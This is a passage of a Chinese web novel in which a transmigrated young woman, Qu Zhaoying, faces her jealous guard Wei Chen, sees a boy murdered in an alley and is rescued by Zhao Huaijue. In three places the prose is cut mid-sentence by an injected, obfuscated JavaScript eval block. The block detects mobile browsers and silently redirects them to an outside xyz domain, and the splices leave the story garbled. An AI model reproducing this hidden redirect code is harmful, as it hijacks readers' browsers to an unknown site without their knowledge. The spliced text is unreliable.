曲昭盈想。 是自己说错什么话、做错什么事了吗?为什么会突然发生这样的变化?她呆呆地盯着卫沉的脸看,眼眶却一下子红了,仿佛下一秒就要落下泪来似的,卫沉被她这模样吓了一跳,慌忙道歉道:“是我错了,是我不好,小姐莫要哭。” 他渴望将这个白瓷似的姑娘圈进自己的怀里,渴望在她无暇的皮肤上留下属于自己的烙印,他肮脏的、见不得光的欲望无从宣泄,旁人的觊觎又叫他憋闷的几乎快要发疯,恨不得将她偷走、锁在永远见不得光的深柜里,却在看见曲昭盈眼泪的那一刻清醒了过来。 卫沉的背上出了一层冷汗,哑着嗓子、哄孩子似的对曲昭盈道:“是我僭越了。” “不是,”曲昭盈强迫自己冷静下来,抬起手来擦掉尚未来得及落下的眼泪,摇着头道,“我只是吓到了……你没什么错。” 她想起方才卫沉的问题,便又板起脸来反问他:“你听谁说我要定亲了?” 卫沉不答,只低着头盯着地面看,他看见一株草从地砖的缝隙里钻出来,便觉得那草好像可笑又可怜的自己,只是叫太阳照了一照、叫露水点了几点,便开始妄想那太阳、那露水是属于自己的东西,殊不知旁人只需要抬一抬脚,就能轻而易举地将自己碾死在肮脏的泥地里。 “我没有要定亲,要定亲也是姐姐先定,如何能轮得到我?”曲昭盈虽然母胎单身,面对着异性的好感迟钝的好似没有神经,却也在此时终于觉察出一点卫沉的心思来,连忙补了一句,“况且他们我都不喜欢。” 卫沉只觉得那太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124544|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与露水又眷顾在了自己的身上,叫他心里莫名地一抖,抬起头来看着曲昭盈道:“那小姐喜欢谁?” 曲昭盈知道自己这时候应该顺势对着卫沉说一句我喜欢你,再不济也得哄一哄他,叫他知道自己对他有意思,可那话到了嘴边,却又宛如糨糊一样黏黏糊糊地粘在她的喉咙里似的,让她无论如何也吐不出半个字来。 她觉得自己好过分。 她一直在说谎,一直在欺骗卫沉的感情。 自己分明不喜欢他,更不可能和他长相厮守的在一起,却还要为了回家这个目的去欺骗这个善良的侍卫的感情——自从她的系统消失、剧情选项卡也随之消失之后,曲昭盈愈发地分不清自己究竟是身处现实还是游戏了。 分明身边的人都是活生生的、有温度的人,他们和自己一样生气了会闹、高兴了会笑、伤心了会哭,怎么可能会是被程序设定好的NPC呢?在这里呆得越久,曲昭盈的负罪感便越强,甚至于到了此时此刻,她竟然连一句轻飘飘的、哄骗人的喜欢也不敢说出口了。 只是她生得实在太过美丽,即便如今摆出这副这模尴尬又愧疚的模样,却也依旧叫人看得要呆了去:她的睫毛好似风吹过的、密实且厚重的稻子,轻轻地覆在水光潋滟的稻田上,眨一眨眼便能让人窥见稻子下头水的清光,她刚刚才哭过一遭,显得眼角红红、面颊也红红,看在卫沉的眼里就好像是怒放的杜鹃花,正因着羞涩在风中轻颤着,好像并不敢将心中的情谊宣之于口似的。 卫沉那一颗皱皱巴巴、卑怯又懦弱的心终于满足地舒展开来,他不再逼问曲昭盈的答案,转而开口问她:“小姐不是要送我一个荷包吗?” “我等了好久。” 他难得主动开口问曲昭盈要东西,曲昭盈想起自己之前主动要给他做的、被谢聿珩横插一脚抢走的荷包,连忙道:“是,但我做的不好看,就没拿给你。” 她不想再叫卫沉误会什么,更不想把谢聿珩牵扯到她与卫沉二人之间,只好又扯个谎来讲此事糊弄过去,她又怕卫沉追问,便又接了一句:“明日我与你一起上街,我再重新买一个礼物给你好不好?” 卫沉又哪里舍得说不好? “只要是小姐给我的,不论是什么我都觉得好。”他终于露出一个久违的笑来,又弯下腰去、将脑袋轻轻地放在曲昭盈的肩头上,他身材高大又壮实,这样凑过来时简直像只在撒娇的大狗,他轻轻蹭了蹭她的脖子,一字一句地道,“只要小姐在,我什么都好。” 面对卫沉突如其来的撒娇与示好,曲昭盈整个人却好似雷劈一样地呆住了,她甚至有些不知所措地想要逃跑,却终于还是有些木讷地抬起手来,像在抚摸什么动物一般揉了揉卫沉的头发,总算叫卫沉心满意足地放她进屋了。 曲昭盈心事重重地走进屋里,手里那一张请帖已经被她捏的皱起来一块,瞧着像是要被人丢弃的抹布一般,她看着那张请帖,心里想着近日里发生的种种,终于不情不愿地承认了一个事实。 这一周目的游戏已经和原本的内容完全不同了。 其他人的异常行为还可以用“被曲昭盈干涉了剧情”这样的理由来解释过去,可如今即便没有她的干预,裴行之也没有像原作里那样被曲思盈吸引,反而是做出了与原剧情完全相悖的举动,主动地来向曲昭盈表达好意,看上去人设已经和原作有了微妙的不同。 曲昭盈想起和曲思盈相认时她对自己说过的话。 她说自己是为了谢聿珩才会留在这里的,她说这些男主角会前赴后继地爱上她、为她解决人生路上遇到的一切困难。 如果剧情已经和以前不一样了……那曲思盈该多难过?她以后又要怎么办?这些角色还会像以前一样顺理成章地爱上她吗? 自己呢?自己还能顺利回去吗? 系统说过的那些回家的条件……如今还成立吗? 29.第二十九章 曲昭盈几乎一夜未睡。 这几个问题好似梦魇一般萦绕在她的脑海里,不断地折磨着她,让她苦苦追寻却又得不到一点答案。 今天系统突然跳个优惠出来给自己,叫曲昭盈误以为它又复活了,一晚上喊了它十来回,却依旧得不到系统的半点回应,更不可能为她解答什么问题了。 或许曲思盈的系统能回答呢? 思及此,曲昭盈更是睡意全无,天才刚蒙亮,便披了件外衣,趿着鞋、连侍女都没来得及带,一个人匆匆往曲思盈的院子里去,才到了她院门口,却叫曲思盈的侍女拦了下来。 “大小姐还没起来呢。” “我有急事找她,”曲昭盈道,“你去和姐姐说一声。” 那侍女应声去了,只是才进去不多久,便又一脸严肃地退了出来道:“大小姐请您回去。” 她对曲昭盈的态度着实说不上太好,连正眼瞧都不愿意多瞧这位二小姐一眼似的,曲昭盈早就习惯这些下人的态度,毕竟在原作里她的定位就是个“不受宠”、“不讨人喜欢”的二小姐,虽然在府中没有受到什么虐待,但也没多少人真心的喜欢她,曲昭盈对此倒是没有什么特别大的意见——毕竟她早晚都要脱离这个游戏回家去,曲昭盈在这个家里受到什么样的待遇和她并没有什么关系。 只是今日她着急要找曲思盈,也顾不上套不讨人喜欢、人设不人设的事情了,她开口冲屋里喊道:“曲思盈!我有事想问你!” “二小姐!” 那侍女没想到曲昭盈竟如此无礼,当即开口呵斥了一声,曲昭盈并不理她,自顾自又喊了声:“真的很急!你先出来我们好好说一说!” 曲思盈却好像是打定了主意不肯理她似的,人躲在屋里一声都不肯吭,饶是曲昭盈如何喊她,她都宛若一潭死水似的不肯给曲昭盈任何回应,倒是她的侍女和侍卫手忙脚乱地来挡她,又是劝又是拦的,才总算将曲昭盈从院子里赶了出去。 只是她在曲思盈院子里闹得动静不小,全府的人自然都知道这位二小姐清晨莫名其妙上大小姐屋里找茬了,曲夫人一起床就来教训了她几句,说她年纪不小了不要再胡闹,要有个大家闺秀的模样,叫她多学学曲思盈的模样,曲昭盈也不与她多做解释,含含糊糊地应了好说知道了,便按原计划匆匆吃了早饭之后便拉着莲心和卫沉出了门,要去给曲思盈买礼物来道歉,倒是一点都不知道气馁。 “小姐何必这样低声下气地求大小姐?”莲心气不过,跟上车来时忍不住嘟哝了一句,“您又没做错事!” “大小姐有事来找你的时候就大摇大摆地进来,也不管你到底累不累,更不管有没有在睡觉!怎么到你去找她时,就反而叫她的侍女给你眼色看?她倒做个好姑娘,躲在屋里一声都不吭!” 她似乎是真的气急了,说起话来胸口都一起一伏,像个风箱似的:“今日闹了这样大的动静,大小姐居然也不愿意替你说上一句话!也不知在清高什么,害你白白叫夫人教训一顿。” 曲昭盈还反过头来安慰她道:“你怎么生那么大气?是我先做错了事情惹她不开心的嘛。” 莲心更生气了:“你何曾做过什么错事?不就是她喜欢太子,不可能叫你和太子见面吗?可是凭什么?难不成太子殿下已经和她定亲了?既没有,大小姐又有什么资格要你不准和人家见面?” “她开个店,鞍前马后忙来忙去的人还不都是你?结果她惹来的麻烦倒都知道丢给你解决!上回人家来闹事,她这个老板竟然躲在人家后头冲你喊救命,倒像是你才是管事的老板一样!那几个男的人高马大,我瞧着都后怕!” 莲心像个炮仗似的将这些话一口气全倒出来了,又凑到曲昭盈的眼前去道:“小姐,你也不能总是这样没脾气,白白叫人欺负了。” 曲昭盈在这里呆了这么些时日,还是第一次有人真心地在为自己担心,她自然心里感动,当然不会去和莲心生气,只劝她道:“好了,你也不要这样说姐姐,她不过就是胆小了些,也没做错什么大事。” “今日是我有求于姐姐,”曲昭盈哄小孩似的对莲心道,“姿态低些也是应该的。” 莲心还想说句什么,马车忽然停了下来,是曲昭盈要去的店到了,曲昭盈也不再和莲心说什么,带着她与卫沉就进了店里,要给曲思盈选些礼物。 曲昭盈手里没多少银子,选礼物的预算自然也高不到哪里去,但既然要道歉,总要体现出些诚意来,终于还是到了京城里比较知名的首饰铺子里来,想着在能力范围内选个好的给她,好叫曲思盈能切实感受到她的歉意才好。 接待他们的伙计人也热情,拿了好几样东西叫曲昭盈来选,曲昭盈看了小半日做不出什么抉择来,便顺势问了问身旁的卫沉道:“你觉得哪个好些?” 卫沉原本一直盯着曲昭盈的脸看,被她一叫才回过神来,不动声色地从托盘中拿起一对耳坠,对曲昭盈道:“这个吧。” 那耳坠以黄金做成花瓣,上点缀两颗珍珠做花蕊,又点了翠,瞧着精巧又漂亮,确实是年轻姑娘会喜欢的款式,曲昭盈拿在手里看了又看,夸了卫沉一句:“你倒是很会选东西。” 她这样亲昵又自然的态度,叫卫沉总有种他们二人是热恋中的爱侣、正在相约逛街似的,让他心里总不自觉要软下去一块,说起话来也没平日里那般拘谨了:“我只是想着,若是我妹子,应该也会喜欢这样的东西。” “你还有个妹子?”莲心有些意外,“怎么从未听你提过?” 卫沉“嗯”了一声,一双眼仍是不错眼地盯着曲昭盈看,见她也有些好奇地抬起眼来看自己,这才接着解释了一句:“我小时候和妹子从老家一起逃荒的。” “只是路上和她走散了……我运气好,快饿死的时候被师傅捡到,给带到京城来了。 他这话说得轻松,却多少能叫人窥见些艰辛的过往,曲昭盈从不知道他还有这样的过去,一时间有些错愕,还是莲心先问了句:“那你那妹子呢?” “不知道,”卫沉面上没什么表情,“这些年我一直在打听,也没个音讯。” “我帮你找吧,”曲昭盈接话道,“多个人多份力,总能找到的。” 卫沉却摇了摇头。 其实他心里头清楚,他妹子与他失散时才十岁不到,当时那样的境地,又是一个姑娘家,只怕是凶多吉少,是他始终不肯去面对,总觉得见不到尸体,人就还在他不知道的地方好好活着,不过是他这个哥哥不知道罢了。 曲昭盈见他不想再谈,便不再与他聊这个话题,干干脆脆地付钱买了那对耳坠,又给卫沉和莲心挑了些小东西,这才离开了那铺子。 只是她前脚才走出铺子,就瞧见街对面有个人影一闪而过,那人穿着一身青色细布短打,一头长发以同色的发绳整齐地系在脑后,分明是再寻常不过的装扮,却看得曲昭盈心底一跳——那分明是前日春桃与她见面时穿的衣裳! 之前谢聿珩叮嘱过的话在这时她一个都想不起来了,下意识就拔起腿往那人的方向追了过去,卫沉从店里出来时,就只能看见曲昭盈冲到对面去的残影,卫沉心下一惊,二话不说便追了上去。 那人似乎也觉察到有人在追自己,脚步也不自觉地加快了起来,曲昭盈追着她拐过一条又一条的街、钻进一道幽深的巷子里,那巷子错综复杂、有一条又一条的岔路,曲昭盈从未来过这里,才跑进去没多久,就将那人跟丢了。 曲昭盈也顾不得害怕和慌张,她在原地转了几圈,将四周打量了一翻,又往地上一看,见杂乱的泥地上有一处新的脚印,便立即跟着那脚印又跑了起来,却不想人才刚拐了一个弯,有人堵在她的身前“喂!”了一声。 “啊!”曲昭盈叫这人吓了一跳,险些倒退一步摔倒在地,而吓她的人皱着眉头站在原地,怒气冲冲地盯着曲昭盈道:“你为何一直追着我不放?” 那是个模样不过十二三岁的少年人,他尚未来得及发育,身材有些矮小削瘦,从背后看时确实与女子有几分相似,他的身上穿着的青色短打的袖口与裤脚都沾了些脏污,曲昭盈却一眼就认出就是春桃前日穿的衣裳。 “你这衣裳哪里来的?”她一把上去拽住那少年人的领口,“这衣裳的主人在哪里?” “你放开我!”那少年赶忙去推曲昭盈,神色慌张地骂道:“你这女的疯疯癫癫说什么呢?这衣裳本来就是我的!” 曲昭盈哪里肯放走他?她见那少年人有些过分的清瘦,身上还有些说不清的怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这少年人混迹在市井中,想要找个人想来要比曲昭盈要方便得多,如今人命关天,她也顾不上钱不钱的,当即就点头将这事情应了下来,又粗略地将春桃的模样跟他说了,那少年一昂首,道:“成,那我若是有消息,就到那什么鸿胪寺少卿家里去找你。” 他也不去问春桃一个姑娘为何要穿着男人的衣裳,只笑嘻嘻地问了句:“我叫小虎,你叫什么?” 虽然他长得并不好看,面上还灰头土脸的像个乞儿,笑起来时却还带着几分还孩童一样的天真,曲昭盈瞧着他的模样,又觉得自己方才对他太凶了些,当即道:“方才我太着急,才对你动了手……我叫曲昭盈。” “哦,还怪好听哩,”小虎摆了摆手,往后跳了几步,蛮不在乎地道,“我走了。” 说罢他也不等曲昭盈回话,像只耗子似的钻进黑暗里头,一溜烟地消失了,曲昭盈看着他的背影,长长地出了一口气。 不管怎么说,总算叫她寻到一点与春桃相关的线索,等下她便直接去找曲思盈,将玉佩和此事对她和盘托出,叫曲思盈去东宫找谢聿珩,将一切都拉回正轨上来。 只是她还未来得及迈出脚步离开此地,却听得小虎离去的方向忽然传来个怪声,曲昭盈的背后也不知为何忽然出了一层冷汗,但她的脚却不受自己控制似的往小虎的方向追了过去。 脚下的泥好似从地狱里伸出来的白骨,不断地拽着她的脚腕,似乎并不想要叫她往前去,分明是白日,天上的太阳却好似照不进这巷子里来,阴风与黑暗不断地在曲昭盈的面前蔓延下去,就好似一条走向黄泉的路。 拐过一个弯,曲昭盈终于看见了刚刚离去的小虎。 方才还鲜活的少年人此时正一言不发地躺在乌黑的泥地里,他的脸几乎埋在地上,叫曲昭盈看不见他脸上的表情,只闻到浓郁的、化不开的血腥味扑鼻而来——与秦景和死在她面前那一日的味道一模一样。 而在小虎的身前,正站着一个身穿黑衣的蒙面人,他手持一把长剑,那剑身上还有温热的血迹,正顺着剑身一滴滴地往下淌,即便在这样昏暗的巷子里,曲昭盈也能见到那剑上闪着的森然寒光。 那黑衣人听到身后的动静,当即转过身来看她。 30.第三十章 这是曲昭盈第二次亲眼看见有人死在自己面前了。 血腥味混杂着泥土与垃圾的臭味直冲曲昭盈的天灵盖,她却顾不上恶心也顾不上害怕,在那黑衣人转身之前便拔腿往回跑,嗓子里干得好似有刀在割,血腥味不断往上翻涌、溅起的泥水粘在她的鞋面和裙角上,她却连低头查看的时间都没有,身后的脚步声好似在催命的鬼,正在一步步地向她逼近。 她已经顾不上害怕,也顾不上恶心,脑子里更是一片空白,她不记得自己来时的路,也没有时间去分辨究竟哪里才是正确的方向,她只晓得不往前跑自己就要死在这里,哪怕两条腿都没了知觉,哪怕她的肺已经痛得好似有刀在扎,哪怕她的心脏已经好似快要爆炸,她也不敢放慢奔跑的速度,可身后那声音却好似越来越近,不论曲昭盈怎么跑,都好像无法将其甩掉。 要死了。 我要死了。 怎么办怎么办怎么办?! 她还有许多的事情没有做,春桃还生死未卜,她根本就不想这样不明不白地死掉! 曲昭盈根本无法冷静,混乱间连自己跑出了那暗巷都没发觉,只是陡然从昏暗的巷子里冲出来,强烈的阳光刺得曲昭盈眼前一花,几乎都要摔倒在地,却不想这一晃竟撞到了个人身上! “喂!” 那人被撞得踉跄一下,下意识大喝出声,曲昭盈还未来得及反应,却听得那人接了句:“曲昭盈?” 曲昭盈这才抬起头去看他。 被阳光刺得花白的视线终于恢复,有个男子的轮廓在那一片白中逐渐跃了出来——他身材颀长,一身华贵的衣裳套在他的身上,锦缎的腰带勾勒出他细长的腰身,正是赵怀珏了。 赵怀珏眉头一皱正要发难,却见曲昭盈气喘吁吁,发髻跑得有些松散了,有几缕头发垂落下来,被汗水黏在了面颊之上,发钗也是虚挂在发髻上,再跑几步就要掉下来了。 她眼角红的好似落过泪,面上尽是惊恐之色,便是傻子也看得出她遇到麻烦了。 赵怀珏下意识开口问她:“出什么事了?” 曲昭盈大口喘着气,却不愿与他多说什么,推开他想要继续逃跑,赵怀珏却猛地一拽她的胳膊,一边说着“你过来”一边将她拖进了路边停着的马车里。 她前脚才被赵怀珏塞进车厢里,后脚就听得外头传来一阵骚乱声,紧接着就有个人在外头道:“爷,有个不长眼的,被咱给扣了。” 赵怀珏看了一眼大口穿着粗气的曲昭盈,问道:“是谁?” “不知道,但他配了剑,”那人在外头低声道,“他剑上头有血。” “知道了,把人看好。”赵怀珏说罢,回过头去上上下下将曲昭盈又打量了一番,见她身上没什么伤口和血迹,这才又问她,“你这黄毛丫头哪来的本事,招惹了谁要杀你?” 曲昭盈陡然获救,身上一下松了劲,四肢好似面条一样瘫软了下去,她想开口和赵怀珏说话,可一张嘴嗓子就好似刀割一般疼痛,就连最简单的音节都没办法从里头发出来,让她不得不使劲地吞咽几乎已经干涸的唾液,去尽量湿润一下快要冒烟的喉咙。 赵怀珏显然没什么耐心,眉头一皱,道:“说话啊。” “巷子、巷子里,”曲昭盈手往她逃出来的暗巷一指,“救人……救人!!” “救谁?” “小虎,”曲昭盈的声音好似一只早已破败、却硬生生被人拉开的风箱,眼中的泪也止不住地往下落,“求你……救救他……” 她的模样好似在暴风中被骤雨侵噬的花,只要一个不注意便随时会叫那无情的雨从枝头打落,看的赵怀珏心下一动,下意识就对外头的人道:“找几个人去巷子里看看。” “多谢……多谢……” 曲昭盈身上半点力气也没有,便是想起来向他行礼也没办法,赵怀珏终于发现她这副模样实在有些半死不活,说话的语气也不像方才那样急促,撇了撇嘴道:“你看到他杀人,他要杀你灭口?” 曲昭盈点了点头。 “我还以为出了什么大事,看你那没出息那样子。” 赵怀珏顺手扔了个帕子给曲昭盈,好叫她把糊在一起的眼泪与汗水都擦了,半点怜香惜玉的意思都没有,曲昭盈没有力气与他争辩自己一个手无寸铁的女子面对杀手时有多害怕多恐惧,只点着头应道:“是的,你骂的对。” 她这话反倒噎得赵怀珏一顿,又干巴巴地说了句:“人我已经抓了,等会就送官府去,你没什么危险了。” 他这话似乎是有意在安慰曲昭盈,只是声音与语气实在不怎么友善,叫人并听不出其中的关切,曲昭盈一听见官府,赶忙摇头道:“不行,不能送官府。” 赵怀珏有些奇怪:“为什么?” 曲昭盈还没说话,方才在马车外和赵怀珏说话的男子又出了声:“爷,巷子里是死了个孩子。” “能不能麻烦世子爷,”曲昭盈虽然早有准备小虎已经活不成了,可一听到人确认他真的死了之后,才止住的眼泪又忍不住地落了下来,她哑着声音道,“请您把这凶手送到太子殿下手里。” 官府里不知道有谁的眼线,如今是绝对信不过的。 赵怀珏眉头一皱:“能帮你一回已经是我大发慈悲,谁给你的胆子叫你蹬鼻子上脸的?” “世子爷的大恩大德小女子永世难忘,”曲昭盈的泪水好似断了线的珠子一样从眼眶中往下流,她抬起手用袖子去擦,却又在脸上留下一道深深浅浅的灰色,像是白瓷上裂了一道可怖的痕迹,叫人瞧着莫名地心疼,“只求您行行好,再帮我这一次。” “此事与太子殿下的安危息息相关,世子爷与殿下情同手足,万万不可袖手旁观!” 赵怀珏却道:“从方才起你就左一口太子又一口殿下的……你和他是什么关系?” “你二人偷偷摸摸在密谋什么?” 曲昭盈终于恢复了一些力气,虚虚作揖道:“我不能说……您若是想知道,便带着那凶手去找殿下,他或许会告诉你的。” 赵怀珏有些狐疑地在曲昭盈身上扫了两眼:“真和太子有关系?” “千真万确。” “行吧,”赵怀珏终于勉为其难地应了声好,“看在谢聿珩的面子上,我就跑这一趟。” 说罢他又看了一眼曲昭盈,嫌弃似的道:“那你还不快滚?怎么?还指望我能把你带去东宫见谢聿珩不成?” 曲昭盈何时这样想过? 这赵怀珏性情古怪,说翻脸就翻脸,简直比六月的天还要阴晴不定,只是人家才救了自己一命,曲昭盈现在也不会冲他发什么脾气,只乖顺地应了声“是,多谢世子爷救命之恩”就要下车,却又被赵怀珏叫住了。 “喂,”他撇着嘴道,“先说好,我这是因为前几日对你说了重话,今日才会救你,当做对你的补偿——咱们俩之间就此扯平了。” “你以后千万别借着什么要报恩要感谢之类的由头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174150|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来接近我,知道吗?” 他一双眼睛上上下下地在曲昭盈身上扫了又扫,这才又接话道:“想想我都恶心。” “是,”曲昭盈整个人才经历过一场死里逃生,整个人身心俱疲,半点和赵怀珏争辩的心思都没有,是以不论他说什么荒唐话,此时她也都能顺着他应下去,“下了车辆车,民女就当做从不认识世子爷。” 说罢她也不等赵怀珏再应什么话,自顾自地掀开车帘下了马车,而她前脚刚落地,赵怀珏的车夫后脚便一扬马鞭,驱车向前而去,好似巴不得离她远一些似的。 方才追着她跑的黑衣人已经被赵怀珏的人带走了,曲昭盈只顾着逃命,甚至都没来得及去看一眼他的长相——虽然看见长相也没什么用就是了。 纵然她心中有再多的疑问,在这一刻也似乎全部都不重要了,劫后余生的欢喜、看见人死在自己眼前的恐惧像一张密不透风的网一样将曲昭盈死死地裹住,叫她的晕眩地想吐,却在抬头时看见了面色凝重、往自己身边跑过来的卫沉。 曲昭盈心里紧到快要崩断的弦顿时松了下去,正要开口喊一声卫沉,却陡然被他拽了胳膊,曲昭盈这才发现,卫沉面色铁青,一双眼睛红得好似兔子一样,手上的力气大的几乎要捏碎她的骨头,这副模样叫曲昭盈莫名地有些害怕,低声问他:“……怎么了?” 卫沉没回她的话,眼睛却死死地盯着远去的马车看。 他分明认得那一辆马车的。 那是英国公世子赵怀珏的马车。 虽然方才隔着上百米的距离,他却也清清楚楚地瞧见曲昭盈从这辆马车上下来的身影。 他的小姐,大白日地、莫名其妙地突然甩开他和莲心,消失了快要两刻钟的时间,他发了疯似的在街上找她,终于找到她的时候,却看见她衣衫不整、面色潮红地从男人的马车上下来! “小姐在赵怀珏的马车上做了些什么?”卫沉几乎咬牙切齿地问她,“你无缘无故消失了这样久,就是为了去私会男子吗?” 她怎么可以这样放荡?怎么可以一边勾引自己又一遍去对着别的男人投怀送抱?又为什么迟迟不肯选他?他一样也可以满足她不是吗? 如果她想要,他也可以抛下一切的自尊,也可以像条狗一样伏在她的身下、虔诚地去亲吻她的脚背,可她为什么连个机会都不肯给自己? 曲昭盈便是再迟钝,也终于明白卫沉话里地意思,一时间怒不可遏,大声道:“你在说什么?你竟这样污蔑我?!” “那你告诉我,”卫沉手上的青筋都凸了出来,可见他捏着曲昭盈的手用了多大的力气,“你为何会衣衫不整地从他的车上下来?” “我方才撞见别人杀人,险些被犯人一起杀了!”曲昭盈想不卫沉竟然将自己想得这样不堪,气的整个人气血上涌,脸都涨红了,“是我逃跑的时候遇到赵怀珏,才勉强捡回一条命来!” 短短两句话好似巴掌一样抽在卫沉的脸上,连拽着曲昭盈的手也不自觉地松了劲,但他却也不肯承认自己错了,反而恼羞成怒地道:“小姐若老老实实呆着不要多管闲事,也不会遇到这样危险的事了。” 曲昭盈实在身心俱疲,用尽最后的力气甩开卫沉的手扭头就走,卫沉心底一惊,赶忙拔腿追了上去:“小姐去哪?” 她是要去找赵怀珏?还是谢聿珩?抑或是那个阴魂不散的秦景和?曲昭盈似乎知道他心里在想什么龌龊事一样,怒气冲冲地回头道:“我要回家!” 31.第三十一章 临近夏初,曲府里的景色已经悄悄换了一番光景,葱葱郁郁的树几乎要将曲昭盈的房顶盖住了,曲夫人近来总念叨着要差人来修剪修剪,却因为各种各样的事情耽搁了,才叫这树在短短个把月的时间里长成了如今茂密的模样。 阳光叫厚重的树叶挡了一大半,只落下星星点点的光斑在青石板路上,像碎在了墨玉盘上的金子,叫风一吹便在盘上跳跃起来,倒是别有一番风味在里头。 曲昭盈却没半点心思去欣赏这些景色。 她也说不清自己心里如今是个什么样的感受,只是感觉整个人都好像被人摁在深不见底的水里似的喘不上气,心脏也宛若被一双无形的手死死攥着,害怕、羞愤、迷茫在她心中刮起一阵风暴,将她整个人从里到外都快要搅烂了。 偏偏曲思盈正巧从院里出来,和回来的曲昭盈结结实实地打了个照面,她见曲昭盈神色慌乱,整个人好似从鬼门关爬回来一样,便是她不张嘴问,也能瞧出来她定是在外头遇到了什么大事。 但曲思盈却没什么要开口问的兴趣——她心里仍旧在为前两日发生的事情生气,并不肯轻易地原谅曲昭盈,以至于哪怕今早她心里清楚知道曲昭盈有事来找自己,也依然对着她能躲就躲,想以此来逼迫曲昭盈答应自己不再出门去和谢聿珩见面的要求。现下即便见到曲昭盈这副头发散乱、目光呆滞的惨状,她也只是翻了个白眼,脚步不停歇地从她身边走了过去,连关心都不愿意关心她一句,心底甚至还要生出些类似于报复的快乐来。 要怪就都怪曲昭盈她自己,曲思盈想。 要么是她多管闲事,要么是她在外头四处招惹男人,才会落得这样的下场,她何必去过问? 就是叫曲昭盈吃些苦头、长长教训才好呢! 曲昭盈此时也没了什么要和她说话的心思,更不记得要和曲思盈道歉、把玉佩给她的计划,失魂落魄地回了自己的院子,却在进屋之前被卫沉叫住了。 “小姐,”他站在曲昭盈的身后,眼睛一眨不眨地盯着她,仿佛恨不得要将她吞之入腹,“我错了,方才我不该那样和你说话。” 曲昭盈正想摇摇头说一句算了,就听得卫沉又开口接了一句:“但我却是实打实地为小姐好,才会口不择言说出那样的话来。” “小姐再如何热心善良,也不该一时冲动做出这样的事,平白叫我和莲心担心,更不应该那样从赵怀珏的马车上下来……实在对自己清誉有损。” 莲心被他这话说得一愣,当即反驳道:“你也忒没礼数了!谁教你和小姐这么说话的?!” 卫沉知晓自己没有立场指责曲昭盈半句,更不应该对她说出那样过分的话去怀疑她的清白,可他嫉妒的几乎要发了疯:他身份卑微,对曲昭盈的肖想只能像见不得光的老鼠一样藏在心底,可那些权贵公子们却能轻而易举地接近她、讨好她,甚至轻轻松松地从曲夫人那里将她讨走,只一想到这里,他的不安与嫉恨就要占据了他的脑子,淬了毒的话也再不受他的半点控制,像黑泥一样从他的口中倾泻而出。 “今日是我疏忽,没尽好侍卫的职责。” 卫沉不理会莲心的呵斥,反而干脆利落地在曲昭盈的跟前跪了下来,他的膝盖重重地砸在台阶上,发出沉闷却又清晰的声响,换做平日曲昭盈早就要喊他快些起来了,今日她许是确实受了太大的惊吓,只晓得怔怔地站在那里,连动都不曾动一下。 跪在地上的卫沉却还在滔滔不绝地说:“我知晓小姐心善,可那些人的命又哪里值得小姐付出这样多?就算您救下来了,又能有什么用处?” 说到底那春桃也不过是个丫环,即便运气好叫皇帝看上了做了娘娘,也依旧是一条贱命,六皇子这做主子的想杀也就杀了,谁又敢对他说什么?何以值得曲昭盈冒着风险去相助? “更何况还要因此与太子殿下纠缠不清,害得您与大小姐闹出这样多的不愉快,真的值得吗?难道您与大小姐之前的感情还不如一个萍水相逢的春桃、一个混迹市井的乞丐?” 曲昭盈一言不发地看着他,脑子里分明觉得他这些话说得荒唐极了,分明晓得自己应该说些什么来反驳他,可是她却没有力气再和他争辩下去。 倒是春桃听得勃然大怒道:“你还不住嘴?!” “小姐想做什么是小姐的事,何时轮到你一个下人指指点点!你以为自己是谁?!” “今日若是你看好了小姐,及时跟着她一起走,又怎么可能发生这种事!”她叉着腰站在曲昭盈身前,像护着鸡崽的母鸡似的冲卫沉发脾气,“不惩罚你已经是小姐仁慈宽厚,你竟然敢在这里怪起主子来了?!” 卫沉却抬起头来看了春桃一眼,低低地道:“你方才不也怪小姐乱跑害你担心吗?如今怎么还道貌岸然地说教起我了?” 他这一句话说得春桃面红耳赤:“你胡说什么,怎么能在小姐面前污蔑好人?!” 曲昭盈听这二人你一言我一语地听得实在头疼,只想赶紧逃离这是非之地,当即转过身去推开门进了屋,又反手将房门落了锁,才总算得了个清净。 她实在不明白自己到底做错了什么。 她不明白为何要将人的性命分出个高低贵贱、三六九等,她不过是想要知道一个与自己有过交情的人的安危罢了,难道这是什么大逆不道的事情吗? 曲昭盈刚刚才目睹过一桩命案,一个活生生的人就这样死在自己的面前,又险些因为此事丢掉自己的性命,她分明经历过这样死里逃生的事,却没有一个人来关心她的死活。 没有人在乎她到底害不害怕、没有人关心她有没有被吓到,更没有人去在意那凶手是谁、为何要无缘无故地当街杀人,还要反过来去指责她、嘲笑她,仿佛她才是那个十恶不赦的杀人犯。 他们每一个人都有自己的立场,都有自己的想法,都站在自己的角度在责怪她,曲昭盈又能去怪谁?她只觉得自己被困在沼泽里,往前走也不是往后走也不是,不论自己做什么,都要被 